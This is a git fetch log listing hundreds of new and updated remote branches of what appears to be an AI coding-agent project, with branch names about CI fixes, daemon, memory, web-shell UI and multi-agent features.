* [new branch] ci/stop-fake-format-and-release-waste -> ci/stop-fake-format-and-release-waste
* [new branch] ci/tmux-install-pins -> ci/tmux-install-pins
* [new branch] ci/triage-distinguish-install-crash -> ci/triage-distinguish-install-crash
* [new branch] ci/triage-progress-visibility -> ci/triage-progress-visibility
* [new branch] ci/triage-real-verification -> ci/triage-real-verification
* [new branch] ci/trusted-base-classifier -> ci/trusted-base-classifier
* [new branch] ci/unblock-release-pr-required-checks -> ci/unblock-release-pr-required-checks
* [new branch] ci/verify-npm-cache -> ci/verify-npm-cache
* [new branch] ci/visuals-resilient-partial-preview -> ci/visuals-resilient-partial-preview
* [new branch] ci/web-shell-visuals-capture-ecs -> ci/web-shell-visuals-capture-ecs
* [new branch] ci/web-shell-visuals-trigger-scope -> ci/web-shell-visuals-trigger-scope
* [new branch] claude/festive-lamport-0b2ef8 -> claude/festive-lamport-0b2ef8
* [new branch] claude/taskkill-hardening-followup -> claude/taskkill-hardening-followup
* [new branch] claude/trusting-antonelli-7cc9c6 -> claude/trusting-antonelli-7cc9c6
* [new branch] claude/trusting-euclid-6fdfb9 -> claude/trusting-euclid-6fdfb9
* [new branch] claude/web-shell-todo-panel-interactions -> claude/web-shell-todo-panel-interactions
* [new branch] cleanup/runtime-status-followups -> cleanup/runtime-status-followups
* [new branch] codex/11475-remote-daemon -> codex/11475-remote-daemon
* [new branch] codex/3712-ide-context-user-message -> codex/3712-ide-context-user-message
* [new branch] codex/3943-ci-runtime -> codex/3943-ci-runtime
* [new branch] codex/4063-rename-core-llm -> codex/4063-rename-core-llm
* [new branch] codex/4421-debug-log-diagnostics -> codex/4421-debug-log-diagnostics
* [new branch] codex/6597-attachment-guard -> codex/6597-attachment-guard
* [new branch] codex/6600-debug-log-default-on -> codex/6600-debug-log-default-on
* [new branch] codex/6604-coverage-comment-runner -> codex/6604-coverage-comment-runner
* [new branch] codex/6663-long-goal-condition -> codex/6663-long-goal-condition
* [new branch] codex/7040-memory-recall -> codex/7040-memory-recall
* [new branch] codex/7040-memory-recall-candidates -> codex/7040-memory-recall-candidates
* [new branch] codex/7411-review-depth -> codex/7411-review-depth
* [new branch] codex/8012-github-delivery-recovery -> codex/8012-github-delivery-recovery
* [new branch] codex/8083-agent-execution -> codex/8083-agent-execution
* [new branch] codex/8083-scoped-profiles -> codex/8083-scoped-profiles
* [new branch] codex/8083-worktree-context -> codex/8083-worktree-context
* [new branch] codex/8092-macos-validation -> codex/8092-macos-validation
* [new branch] codex/8595-local-control -> codex/8595-local-control
* [new branch] codex/8699-qwen-webbridge -> codex/8699-qwen-webbridge
* [new branch] codex/acp-loop-review-followup -> codex/acp-loop-review-followup
* [new branch] codex/acp-model-default -> codex/acp-model-default
* [new branch] codex/add-ecs-docker-cleanup -> codex/add-ecs-docker-cleanup
* [new branch] codex/add-extension-creator-bundled-skill -> codex/add-extension-creator-bundled-skill
* [new branch] codex/agent-plugins-v1 -> codex/agent-plugins-v1
* [new branch] codex/agent-team-discovery-web-shell -> codex/agent-team-discovery-web-shell
* [new branch] codex/agent-team-roster-web-shell -> codex/agent-team-roster-web-shell
* [new branch] codex/allow-preinstall-skill-enablement -> codex/allow-preinstall-skill-enablement
* [new branch] codex/assistant-turn-settled-event -> codex/assistant-turn-settled-event
* [new branch] codex/auto-memory-design-roadmap -> codex/auto-memory-design-roadmap
* [new branch] codex/auto-skip-ci-release-notes -> codex/auto-skip-ci-release-notes
* [new branch] codex/autofix-autonomy -> codex/autofix-autonomy
* [new branch] codex/autofix-ecs-runner -> codex/autofix-ecs-runner
* [new branch] codex/autofix-failure-marker -> codex/autofix-failure-marker
* [new branch] codex/autofix-no-proxy-loopback -> codex/autofix-no-proxy-loopback
* [new branch] codex/autofix-pr-template-prompt -> codex/autofix-pr-template-prompt
* [new branch] codex/autofix-publish-token-diagnostic -> codex/autofix-publish-token-diagnostic
* [new branch] codex/autofix-sandbox-ghcr-fallback -> codex/autofix-sandbox-ghcr-fallback
* [new branch] codex/autofix-sandbox-image-fallback -> codex/autofix-sandbox-image-fallback
* [new branch] codex/autofix-single-target-scheduler -> codex/autofix-single-target-scheduler
* [new branch] codex/autofix-single-target-scheduler-v2 -> codex/autofix-single-target-scheduler-v2
* [new branch] codex/backend-authoritative-queue-display -> codex/backend-authoritative-queue-display
* [new branch] codex/background-notification-turns -> codex/background-notification-turns
* [new branch] codex/batch-extension-toggle -> codex/batch-extension-toggle
* [new branch] codex/batch-skill-toggle -> codex/batch-skill-toggle
* [new branch] codex/bilingual-design-docs -> codex/bilingual-design-docs
* [new branch] codex/browser-use-followups -> codex/browser-use-followups
* [new branch] codex/browser-use-pr1-playwright-core -> codex/browser-use-pr1-playwright-core
* [new branch] codex/browser-use-pr2-chrome-relay -> codex/browser-use-pr2-chrome-relay
* [new branch] codex/browser-use-pr3-product-integration -> codex/browser-use-pr3-product-integration
* [new branch] codex/browser-use-runtime-broker -> codex/browser-use-runtime-broker
* [new branch] codex/bundled-pr-review-action -> codex/bundled-pr-review-action
* [new branch] codex/bundled-pr-review-action-fullscope-backup-20260519 -> codex/bundled-pr-review-action-fullscope-backup-20260519
* [new branch] codex/channel-agent-bridge -> codex/channel-agent-bridge
* [new branch] codex/ci-light-profiles -> codex/ci-light-profiles
* [new branch] codex/ci-no-ak-disk-floor-10035 -> codex/ci-no-ak-disk-floor-10035
* [new branch] codex/ci-only-profile -> codex/ci-only-profile
* [new branch] codex/ci-p0-single-ubuntu-gate -> codex/ci-p0-single-ubuntu-gate
* [new branch] codex/ci-review-full-flow -> codex/ci-review-full-flow
* [new branch] codex/ci-self-hosted-npm-cache -> codex/ci-self-hosted-npm-cache
* [new branch] codex/ci-skip-unneeded-checks -> codex/ci-skip-unneeded-checks
* [new branch] codex/claude-48-token-limits -> codex/claude-48-token-limits
* [new branch] codex/claude-code-codex-subagents -> codex/claude-code-codex-subagents
* [new branch] codex/clean-release-pr-skip-ci-title -> codex/clean-release-pr-skip-ci-title
* [new branch] codex/cleanup-review-worktrees -> codex/cleanup-review-worktrees
* [new branch] codex/cli-entry-fallback-fixture -> codex/cli-entry-fallback-fixture
* [new branch] codex/compact-local-control-dialog -> codex/compact-local-control-dialog
* [new branch] codex/dac-plan-toggle -> codex/dac-plan-toggle
* [new branch] codex/daemon-auto-recall-submitted-prompt -> codex/daemon-auto-recall-submitted-prompt
* [new branch] codex/daemon-extension-at-mention -> codex/daemon-extension-at-mention
* [new branch] codex/daemon-extension-skill-catalog -> codex/daemon-extension-skill-catalog
* [new branch] codex/daemon-rest-api-reference -> codex/daemon-rest-api-reference
* [new branch] codex/daemon-skill-toggle -> codex/daemon-skill-toggle
* [new branch] codex/daemon-small-followups -> codex/daemon-small-followups
* [new branch] codex/daemon-specialized-model-filter -> codex/daemon-specialized-model-filter
* [new branch] codex/daemon-stdio-invocation-context-v1 -> codex/daemon-stdio-invocation-context-v1
* [new branch] codex/daemon-tasks-snapshot -> codex/daemon-tasks-snapshot
* [new branch] codex/daemon-workspace-runtime -> codex/daemon-workspace-runtime
* [new branch] codex/daemon-workspace-runtime-extensions-main -> codex/daemon-workspace-runtime-extensions-main
* [new branch] codex/daemon-workspace-runtime-mcp -> codex/daemon-workspace-runtime-mcp
* [new branch] codex/daemon-workspace-runtime-skills -> codex/daemon-workspace-runtime-skills
* [new branch] codex/daemon-workspace-voice -> codex/daemon-workspace-voice
* [new branch] codex/dedicated-agent-runner-pool -> codex/dedicated-agent-runner-pool
* [new branch] codex/default-context-window-200k -> codex/default-context-window-200k
* [new branch] codex/default-context-window-200k-clean -> codex/default-context-window-200k-clean
* [new branch] codex/default-mid-turn-insert -> codex/default-mid-turn-insert
* [new branch] codex/default-mid-turn-insert-mutation -> codex/default-mid-turn-insert-mutation
* [new branch] codex/default-system-prompt -> codex/default-system-prompt
* [new branch] codex/desktop-011-followups -> codex/desktop-011-followups
* [new branch] codex/desktop-011-release-audit -> codex/desktop-011-release-audit
* [new branch] codex/desktop-default-workspace -> codex/desktop-default-workspace
* [new branch] codex/desktop-electron-bridge -> codex/desktop-electron-bridge
* [new branch] codex/desktop-midturn-queue -> codex/desktop-midturn-queue
* [new branch] codex/desktop-updater-feedback -> codex/desktop-updater-feedback
* [new branch] codex/diagnose-stream-error -> codex/diagnose-stream-error
* [new branch] codex/docs-daemon-refresh -> codex/docs-daemon-refresh
* [new branch] codex/docs-extension-resource-state -> codex/docs-extension-resource-state
* [new branch] codex/docs-github-action-input-names -> codex/docs-github-action-input-names
* [new branch] codex/docs-include-directories-limit-20260720-1658 -> codex/docs-include-directories-limit-20260720-1658
* [new branch] codex/docs-monitor-tool -> codex/docs-monitor-tool
* [new branch] codex/docs-sdk-auto-permission -> codex/docs-sdk-auto-permission
* [new branch] codex/dual-role-image-generation-models -> codex/dual-role-image-generation-models
* [new branch] codex/dual-role-image-generation-models-clean -> codex/dual-role-image-generation-models-clean
* [new branch] codex/e2e-main-concurrency -> codex/e2e-main-concurrency
* [new branch] codex/expand-kimi-qwen-deepseek-reasoning -> codex/expand-kimi-qwen-deepseek-reasoning
* [new branch] codex/explore-agent-model -> codex/explore-agent-model
* [new branch] codex/extension-activation-explicit-refresh -> codex/extension-activation-explicit-refresh
* [new branch] codex/extension-local-path-install-api -> codex/extension-local-path-install-api
* [new branch] codex/external-model-reasoning-config -> codex/external-model-reasoning-config
* [new branch] codex/fake-openai-tool-response-followup -> codex/fake-openai-tool-response-followup
* [new branch] codex/feat-9123-web-shell-skill-refresh -> codex/feat-9123-web-shell-skill-refresh
* [new branch] codex/feat-extension-git-credentials -> codex/feat-extension-git-credentials
* [new branch] codex/feat-fleet-1a-contracts -> codex/feat-fleet-1a-contracts
* [new branch] codex/feat-fleet-1b-runtime -> codex/feat-fleet-1b-runtime
* [new branch] codex/feat-qoder-extension-install -> codex/feat-qoder-extension-install
* [new branch] codex/file-history-eviction-timeout -> codex/file-history-eviction-timeout
* [new branch] codex/fix-10555-timer-boundary -> codex/fix-10555-timer-boundary
* [new branch] codex/fix-11031-html-export-cdn -> codex/fix-11031-html-export-cdn
* [new branch] codex/fix-11317-remaining-windows-paths -> codex/fix-11317-remaining-windows-paths
* [new branch] codex/fix-4488-vscode-sidebar -> codex/fix-4488-vscode-sidebar
* [new branch] codex/fix-6487-memory-refresh -> codex/fix-6487-memory-refresh
* [new branch] codex/fix-6639-mcp-oauth-recovery -> codex/fix-6639-mcp-oauth-recovery
* [new branch] codex/fix-6666-thinking-response-retry -> codex/fix-6666-thinking-response-retry
* [new branch] codex/fix-6734-claude-max-tokens -> codex/fix-6734-claude-max-tokens
* [new branch] codex/fix-6888-anthropic-proxy-signature -> codex/fix-6888-anthropic-proxy-signature
* [new branch] codex/fix-6933-web-shell-portal-import -> codex/fix-6933-web-shell-portal-import
* [new branch] codex/fix-7034-semantic-empty-response -> codex/fix-7034-semantic-empty-response
* [new branch] codex/fix-7073-triage-rerun-notification -> codex/fix-7073-triage-rerun-notification
* [new branch] codex/fix-7500-serve-open-port -> codex/fix-7500-serve-open-port
* [new branch] codex/fix-8358-autofix-mixed-feedback -> codex/fix-8358-autofix-mixed-feedback
* [new branch] codex/fix-8660-client-attribution -> codex/fix-8660-client-attribution
* [new branch] codex/fix-9586-terminal-tool-result -> codex/fix-9586-terminal-tool-result
* [new branch] codex/fix-acp-commands-update-wait -> codex/fix-acp-commands-update-wait
* [new branch] codex/fix-acp-cron-dispatch -> codex/fix-acp-cron-dispatch
* [new branch] codex/fix-acp-memory-e2e-race -> codex/fix-acp-memory-e2e-race
* [new branch] codex/fix-acp-read-file-skill-roots -> codex/fix-acp-read-file-skill-roots
* [new branch] codex/fix-actionlint-runner-hangs -> codex/fix-actionlint-runner-hangs
* [new branch] codex/fix-active-transcript-prompt-id -> codex/fix-active-transcript-prompt-id
* [new branch] codex/fix-anthropic-test-format -> codex/fix-anthropic-test-format
* [new branch] codex/fix-assistant-footer-stale-agents -> codex/fix-assistant-footer-stale-agents
* [new branch] codex/fix-browser-bundle-size-warning-10623 -> codex/fix-browser-bundle-size-warning-10623
* [new branch] codex/fix-chat-init-submit-race -> codex/fix-chat-init-submit-race
* [new branch] codex/fix-ci-temp-dir-isolation -> codex/fix-ci-temp-dir-isolation
* [new branch] codex/fix-conflicts-command -> codex/fix-conflicts-command
* [new branch] codex/fix-context-compress-e2e -> codex/fix-context-compress-e2e
* [new branch] codex/fix-context-usage-disabled-skills -> codex/fix-context-usage-disabled-skills
* [new branch] codex/fix-context-warning-default-token-limit -> codex/fix-context-warning-default-token-limit
* [new branch] codex/fix-desktop-windows-smoke -> codex/fix-desktop-windows-smoke
* [new branch] codex/fix-docker-channel-plugin-fixture -> codex/fix-docker-channel-plugin-fixture
* [new branch] codex/fix-docker-e2e-fake-openai -> codex/fix-docker-e2e-fake-openai
* [new branch] codex/fix-e2e-daemon-init-timeout -> codex/fix-e2e-daemon-init-timeout
* [new branch] codex/fix-e2e-docker-host-lock-10595 -> codex/fix-e2e-docker-host-lock-10595
* [new branch] codex/fix-e2e-fork-test-directories -> codex/fix-e2e-fork-test-directories
* [new branch] codex/fix-e2e-picker-probe-timing -> codex/fix-e2e-picker-probe-timing
* [new branch] codex/fix-e2e-shard-hang-11027 -> codex/fix-e2e-shard-hang-11027
* [new branch] codex/fix-e2e-tmpdir -> codex/fix-e2e-tmpdir
* [new branch] codex/fix-ecs-vitest-worker-cap-10665 -> codex/fix-ecs-vitest-worker-cap-10665
* [new branch] codex/fix-extension-git-config -> codex/fix-extension-git-config
* [new branch] codex/fix-extension-git-config-env-count -> codex/fix-extension-git-config-env-count
* [new branch] codex/fix-extension-list-snapshots -> codex/fix-extension-list-snapshots
* [new branch] codex/fix-extension-tag-display-name -> codex/fix-extension-tag-display-name
* [new branch] codex/fix-file-spaces-e2e -> codex/fix-file-spaces-e2e
* [new branch] codex/fix-goal-hydration-overwrite -> codex/fix-goal-hydration-overwrite
* [new branch] codex/fix-goal-hydration-race -> codex/fix-goal-hydration-race
* [new branch] codex/fix-java11-http-fixture -> codex/fix-java11-http-fixture
* [new branch] codex/fix-live-host-npm-boundary -> codex/fix-live-host-npm-boundary
* [new branch] codex/fix-local-control-enterprise-ipv4 -> codex/fix-local-control-enterprise-ipv4
* [new branch] codex/fix-main-duplicate-folder-trust -> codex/fix-main-duplicate-folder-trust
* [new branch] codex/fix-main-e2e-flakes -> codex/fix-main-e2e-flakes
* [new branch] codex/fix-managed-memory-forget-user-scope -> codex/fix-managed-memory-forget-user-scope
* [new branch] codex/fix-memory-recall-snapshot-10701 -> codex/fix-memory-recall-snapshot-10701
* [new branch] codex/fix-memory-refresh-carryover-tests -> codex/fix-memory-refresh-carryover-tests
* [new branch] codex/fix-merge-queue-ci-issues -> codex/fix-merge-queue-ci-issues
* [new branch] codex/fix-mid-input-skill-completion -> codex/fix-mid-input-skill-completion
* [new branch] codex/fix-mid-turn-idle-fallback -> codex/fix-mid-turn-idle-fallback
* [new branch] codex/fix-mobile-resume-layout -> codex/fix-mobile-resume-layout
* [new branch] codex/fix-model-command-validation -> codex/fix-model-command-validation
* [new branch] codex/fix-model-picker-height -> codex/fix-model-picker-height
* [new branch] codex/fix-model-picker-height-assets -> codex/fix-model-picker-height-assets
* [new branch] codex/fix-no-proxy-routing -> codex/fix-no-proxy-routing
* [new branch] codex/fix-npm-audit-gzip -> codex/fix-npm-audit-gzip
* [new branch] codex/fix-npm-cache-runner-user -> codex/fix-npm-cache-runner-user
* [new branch] codex/fix-npm-scan-hotfix -> codex/fix-npm-scan-hotfix
* [new branch] codex/fix-openai-parameterless-tools -> codex/fix-openai-parameterless-tools
* [new branch] codex/fix-opentui-e2e-parity -> codex/fix-opentui-e2e-parity
* [new branch] codex/fix-opentui-live-slash-submit-10976 -> codex/fix-opentui-live-slash-submit-10976
* [new branch] codex/fix-pending-prompt-residue -> codex/fix-pending-prompt-residue
* [new branch] codex/fix-plan-mode-tool-control-e2e -> codex/fix-plan-mode-tool-control-e2e
* [new branch] codex/fix-ppt-text-paste -> codex/fix-ppt-text-paste
* [new branch] codex/fix-pr-review-precheck-permissions -> codex/fix-pr-review-precheck-permissions
* [new branch] codex/fix-pr6559-ci -> codex/fix-pr6559-ci
* [new branch] codex/fix-qwen-autofix-triggers -> codex/fix-qwen-autofix-triggers
* [new branch] codex/fix-release-container-cleanup -> codex/fix-release-container-cleanup
* [new branch] codex/fix-release-integration-env -> codex/fix-release-integration-env
* [new branch] codex/fix-release-integration-runner-env -> codex/fix-release-integration-runner-env
* [new branch] codex/fix-release-note-classifier-tmpdir -> codex/fix-release-note-classifier-tmpdir
* [new branch] codex/fix-release-runner-env-context -> codex/fix-release-runner-env-context
* [new branch] codex/fix-release-test-flakes-10608 -> codex/fix-release-test-flakes-10608
* [new branch] codex/fix-release-webui-lane-contract -> codex/fix-release-webui-lane-contract
* [new branch] codex/fix-responses-stream-error-details -> codex/fix-responses-stream-error-details
* [new branch] codex/fix-responsive-sidebar-drawer-pr -> codex/fix-responsive-sidebar-drawer-pr
* [new branch] codex/fix-review-ci-self-check -> codex/fix-review-ci-self-check
* [new branch] codex/fix-review-footer-startup-version -> codex/fix-review-footer-startup-version
* [new branch] codex/fix-running-tool-summary-expansion -> codex/fix-running-tool-summary-expansion
* [new branch] codex/fix-sdk-java-queue -> codex/fix-sdk-java-queue
* [new branch] codex/fix-session-delete-attachment-mock -> codex/fix-session-delete-attachment-mock
* [new branch] codex/fix-session-switch-closing-race -> codex/fix-session-switch-closing-race
* [new branch] codex/fix-session-timeline-rail -> codex/fix-session-timeline-rail
* [new branch] codex/fix-session-timeline-scroll -> codex/fix-session-timeline-scroll
* [new branch] codex/fix-session-workflow-boundaries -> codex/fix-session-workflow-boundaries
* [new branch] codex/fix-shared-ecs-ci-time-budgets -> codex/fix-shared-ecs-ci-time-budgets
* [new branch] codex/fix-shell-parser-cpu-budget-10490 -> codex/fix-shell-parser-cpu-budget-10490
* [new branch] codex/fix-skill-extension-identity -> codex/fix-skill-extension-identity
* [new branch] codex/fix-slash-command-attachments -> codex/fix-slash-command-attachments
* [new branch] codex/fix-sse-eviction-reconnect -> codex/fix-sse-eviction-reconnect
* [new branch] codex/fix-statusbar-fastmodel-agent -> codex/fix-statusbar-fastmodel-agent
* [new branch] codex/fix-team-manager-initial-result-race -> codex/fix-team-manager-initial-result-race
* [new branch] codex/fix-tool-result-compaction-pr -> codex/fix-tool-result-compaction-pr
* [new branch] codex/fix-triage-ci -> codex/fix-triage-ci
* [new branch] codex/fix-turn-index-runtime-root-pin -> codex/fix-turn-index-runtime-root-pin
* [new branch] codex/fix-verify-capture-no-color -> codex/fix-verify-capture-no-color
* [new branch] codex/fix-vision-model-endpoint-disambiguation -> codex/fix-vision-model-endpoint-disambiguation
* [new branch] codex/fix-visuals-publisher-fixture-module-scope -> codex/fix-visuals-publisher-fixture-module-scope
* [new branch] codex/fix-vscode-active-file-exclusion -> codex/fix-vscode-active-file-exclusion
* [new branch] codex/fix-vscode-symlink-workspace -> codex/fix-vscode-symlink-workspace
* [new branch] codex/fix-web-shell-ask-user-question-required -> codex/fix-web-shell-ask-user-question-required
* [new branch] codex/fix-web-shell-cold-session-loading -> codex/fix-web-shell-cold-session-loading
* [new branch] codex/fix-web-shell-daemon-sdk-mock -> codex/fix-web-shell-daemon-sdk-mock
* [new branch] codex/fix-web-shell-extension-proxy -> codex/fix-web-shell-extension-proxy
* [new branch] codex/fix-web-shell-foreground-agent-status -> codex/fix-web-shell-foreground-agent-status
* [new branch] codex/fix-web-shell-history-anchor-race -> codex/fix-web-shell-history-anchor-race
* [new branch] codex/fix-web-shell-queued-insert-button -> codex/fix-web-shell-queued-insert-button
* [new branch] codex/fix-web-shell-scroll-jitter -> codex/fix-web-shell-scroll-jitter
* [new branch] codex/fix-web-shell-skills-arguments -> codex/fix-web-shell-skills-arguments
* [new branch] codex/fix-web-shell-style-order -> codex/fix-web-shell-style-order
* [new branch] codex/fix-web-shell-thinking-jank -> codex/fix-web-shell-thinking-jank
* [new branch] codex/fix-web-shell-transcript-layout -> codex/fix-web-shell-transcript-layout
* [new branch] codex/fix-web-shell-truncated-session-diff -> codex/fix-web-shell-truncated-session-diff
* [new branch] codex/fix-web-shell-workspace-registration -> codex/fix-web-shell-workspace-registration
* [new branch] codex/fix-webshell-new-session-effort -> codex/fix-webshell-new-session-effort
* [new branch] codex/fix-webshell-reasoning-persistence -> codex/fix-webshell-reasoning-persistence
* [new branch] codex/fix-webshell-reasoning-preferences -> codex/fix-webshell-reasoning-preferences
* [new branch] codex/fix-webshell-reasoning-switch -> codex/fix-webshell-reasoning-switch
* [new branch] codex/fix-webshell-tag-icons -> codex/fix-webshell-tag-icons
* [new branch] codex/fix-webshell-voice-enabled-visibility -> codex/fix-webshell-voice-enabled-visibility
* [new branch] codex/fix-webshell-welcome-effort-selection -> codex/fix-webshell-welcome-effort-selection
* [new branch] codex/fix-windows-ci-home -> codex/fix-windows-ci-home
* [new branch] codex/fix-windows-loop-ci-followup -> codex/fix-windows-loop-ci-followup
* [new branch] codex/fix-worktree-husky -> codex/fix-worktree-husky
* [new branch] codex/forward-port-e2e-vitest-forks -> codex/forward-port-e2e-vitest-forks
* [new branch] codex/goal-message-routing -> codex/goal-message-routing
* [new branch] codex/gpt-5-reasoning-effort -> codex/gpt-5-reasoning-effort
* [new branch] codex/helper-tests-serial -> codex/helper-tests-serial
* [new branch] codex/hide-session-source-switch -> codex/hide-session-source-switch
* [new branch] codex/installer-hosted-entrypoint -> codex/installer-hosted-entrypoint
* [new branch] codex/installer-release-assets -> codex/installer-release-assets
* [new branch] codex/installer-release-validation -> codex/installer-release-validation
571959532b..fee51d1d91 codex/installer-standalone -> codex/installer-standalone
* [new branch] codex/invocation-context-v1 -> codex/invocation-context-v1
* [new branch] codex/isolate-serve-routes-e2e-11384 -> codex/isolate-serve-routes-e2e-11384
* [new branch] codex/issue-10389-turn-settlement -> codex/issue-10389-turn-settlement
* [new branch] codex/issue-11063-owned-channel-delete -> codex/issue-11063-owned-channel-delete
* [new branch] codex/issue-11118-session-hold -> codex/issue-11118-session-hold
* [new branch] codex/issue-11119-live-state -> codex/issue-11119-live-state
* [new branch] codex/issue-11119-todo-liveness -> codex/issue-11119-todo-liveness
* [new branch] codex/issue-11149-update-base-url -> codex/issue-11149-update-base-url
* [new branch] codex/issue-11386-capacity-decoupling -> codex/issue-11386-capacity-decoupling
* [new branch] codex/issue-11484-target-version -> codex/issue-11484-target-version
* [new branch] codex/issue-3004-error-classification -> codex/issue-3004-error-classification
+ a124c24b82...b043a2498b codex/issue-3004-retry-logging -> codex/issue-3004-retry-logging (forced update)
* [new branch] codex/issue-3004-unified-retry-policy -> codex/issue-3004-unified-retry-policy
* [new branch] codex/issue-4815-resume-oom -> codex/issue-4815-resume-oom
* [new branch] codex/issue-5756-plan -> codex/issue-5756-plan
* [new branch] codex/issue-6246-self-kill -> codex/issue-6246-self-kill
* [new branch] codex/issue-6360-channel-memory-recall -> codex/issue-6360-channel-memory-recall
* [new branch] codex/issue-6988-minimal -> codex/issue-6988-minimal
* [new branch] codex/issue-7168-channel-memory-recall-cache -> codex/issue-7168-channel-memory-recall-cache
* [new branch] codex/issue-8586-agent-watchdog -> codex/issue-8586-agent-watchdog
* [new branch] codex/issue-8586-runtime-generations -> codex/issue-8586-runtime-generations
* [new branch] codex/issue-8586-unresponsive-agent -> codex/issue-8586-unresponsive-agent
* [new branch] codex/issue-8941-workflow-web-shell -> codex/issue-8941-workflow-web-shell
* [new branch] codex/issue-9145-approval-mode-contract -> codex/issue-9145-approval-mode-contract
* [new branch] codex/issue-9151-cross-package-contracts -> codex/issue-9151-cross-package-contracts
* [new branch] codex/issue-followup-bot -> codex/issue-followup-bot
* [new branch] codex/issue-triage-owner-handoff -> codex/issue-triage-owner-handoff
* [new branch] codex/jit-runner-canary -> codex/jit-runner-canary
* [new branch] codex/lane4-debt-ratchets -> codex/lane4-debt-ratchets
* [new branch] codex/large-text-range-reads-6403 -> codex/large-text-range-reads-6403
* [new branch] codex/limit-10926-to-test-fix -> codex/limit-10926-to-test-fix
* [new branch] codex/local-control-session-boundary -> codex/local-control-session-boundary
* [new branch] codex/lsp-status-route -> codex/lsp-status-route
* [new branch] codex/macos-reopen-main-window -> codex/macos-reopen-main-window
* [new branch] codex/markdown-footnote-cards -> codex/markdown-footnote-cards
+ da0f919c09...b3921c20ff codex/memory-diagnostics -> codex/memory-diagnostics (forced update)
* [new branch] codex/memory-dialog-managed-default -> codex/memory-dialog-managed-default
* [new branch] codex/memory-investigation-draft-pr -> codex/memory-investigation-draft-pr
* [new branch] codex/mesh-cumulative-usage-round -> codex/mesh-cumulative-usage-round
* [new branch] codex/mesh-deny-shell-boundary -> codex/mesh-deny-shell-boundary
* [new branch] codex/mesh-fix-session-list-guard -> codex/mesh-fix-session-list-guard
* [new branch] codex/mesh-live-acceptance -> codex/mesh-live-acceptance
* [new branch] codex/mesh-midrun-delivery -> codex/mesh-midrun-delivery
* [new branch] codex/mesh-recovery-acceptance -> codex/mesh-recovery-acceptance
* [new branch] codex/mesh-resident-delivery-input -> codex/mesh-resident-delivery-input
* [new branch] codex/mesh-runtime-acceptance-observation -> codex/mesh-runtime-acceptance-observation
* [new branch] codex/mesh-runtime-wiring -> codex/mesh-runtime-wiring
* [new branch] codex/mesh-step-2-capability -> codex/mesh-step-2-capability
* [new branch] codex/mesh-step-3-storage -> codex/mesh-step-3-storage
* [new branch] codex/mesh-step-4-launcher -> codex/mesh-step-4-launcher
* [new branch] codex/mesh-step-4-runtime-launch -> codex/mesh-step-4-runtime-launch
* [new branch] codex/mesh-step-5-envelope -> codex/mesh-step-5-envelope
* [new branch] codex/mesh-step-5-status -> codex/mesh-step-5-status
* [new branch] codex/mesh-step-5b-close -> codex/mesh-step-5b-close
* [new branch] codex/mesh-step-5b-tools -> codex/mesh-step-5b-tools
* [new branch] codex/mesh-step-6-dispatcher -> codex/mesh-step-6-dispatcher
* [new branch] codex/mesh-step-7-live-demo -> codex/mesh-step-7-live-demo
* [new branch] codex/mesh-step-7-supervisor -> codex/mesh-step-7-supervisor
* [new branch] codex/mesh-step-9-web-demo -> codex/mesh-step-9-web-demo
* [new branch] codex/mid-turn-at-file-support -> codex/mid-turn-at-file-support
* [new branch] codex/migrate-pr-assets-to-oss -> codex/migrate-pr-assets-to-oss
* [new branch] codex/model-api-selection -> codex/model-api-selection
* [new branch] codex/model-pull-memory-from-main -> codex/model-pull-memory-from-main
* [new branch] codex/multi-agent-mesh-foundation -> codex/multi-agent-mesh-foundation
* [new branch] codex/node-repl-host-capability -> codex/node-repl-host-capability
* [new branch] codex/openai-error-request-id -> codex/openai-error-request-id
* [new branch] codex/optimize-initial-turn-index -> codex/optimize-initial-turn-index
* [new branch] codex/optimize-release-quality-10422 -> codex/optimize-release-quality-10422
* [new branch] codex/optimize-web-shell-thinking-stream -> codex/optimize-web-shell-thinking-stream
* [new branch] codex/optional-pr-verification -> codex/optional-pr-verification
* [new branch] codex/p2-plan-required-teammate -> codex/p2-plan-required-teammate
* [new branch] codex/phase2b-persisted-session-list -> codex/phase2b-persisted-session-list
* [new branch] codex/phase2b-session-owner-index -> codex/phase2b-session-owner-index
* [new branch] codex/pnpm-worktree-bootstrap -> codex/pnpm-worktree-bootstrap
* [new branch] codex/pr-11003-base -> codex/pr-11003-base
* [new branch] codex/pr-3855-local-fixes -> codex/pr-3855-local-fixes
* [new branch] codex/pr-4490-conflicts -> codex/pr-4490-conflicts
* [new branch] codex/pr-7801-main-clean -> codex/pr-7801-main-clean
* [new branch] codex/pr-9152-root-barrel-cleanup -> codex/pr-9152-root-barrel-cleanup
* [new branch] codex/pr-intake-evidence-gate -> codex/pr-intake-evidence-gate
* [new branch] codex/pr-review-phase-1-3 -> codex/pr-review-phase-1-3
* [new branch] codex/pr20-file-write-edit -> codex/pr20-file-write-edit
* [new branch] codex/pr4866-pipeline-refresh -> codex/pr4866-pipeline-refresh
* [new branch] codex/pr5-batch-load-replay -> codex/pr5-batch-load-replay
* [new branch] codex/pr5777-postmerge-followups -> codex/pr5777-postmerge-followups
* [new branch] codex/preflight-triage -> codex/preflight-triage
* [new branch] codex/preserve-user-message-source -> codex/preserve-user-message-source
* [new branch] codex/promote-nightly-release-10897 -> codex/promote-nightly-release-10897
* [new branch] codex/provider-model-reasoning-config -> codex/provider-model-reasoning-config
* [new branch] codex/proxy-smoke-diagnostic -> codex/proxy-smoke-diagnostic
* [new branch] codex/reactive-compression-followups -> codex/reactive-compression-followups
* [new branch] codex/readme-everywhere -> codex/readme-everywhere
* [new branch] codex/refactor-acp-skill-management -> codex/refactor-acp-skill-management
* [new branch] codex/refactor-release-workflow-scripts -> codex/refactor-release-workflow-scripts
* [new branch] codex/refine-reasoning-duration-ui -> codex/refine-reasoning-duration-ui
* [new branch] codex/refresh-document-runtime-budget -> codex/refresh-document-runtime-budget
* [new branch] codex/refresh-provider-reasoning-controls -> codex/refresh-provider-reasoning-controls
* [new branch] codex/register-common-model-capabilities -> codex/register-common-model-capabilities
* [new branch] codex/register-provider-reasoning-controls -> codex/register-provider-reasoning-controls
* [new branch] codex/release-cron-loop-fix -> codex/release-cron-loop-fix
* [new branch] codex/release-docker-client-mcp-fix -> codex/release-docker-client-mcp-fix
* [new branch] codex/remove-attachment-name-header -> codex/remove-attachment-name-header
* [new branch] codex/remove-skill-description-cap -> codex/remove-skill-description-cap
* [new branch] codex/remove-webui -> codex/remove-webui
* [new branch] codex/remove-webui-clean -> codex/remove-webui-clean
* [new branch] codex/repo-skill-review-bot -> codex/repo-skill-review-bot
* [new branch] codex/resident-continuation-result -> codex/resident-continuation-result
* [new branch] codex/restore-session-loading-skeleton -> codex/restore-session-loading-skeleton
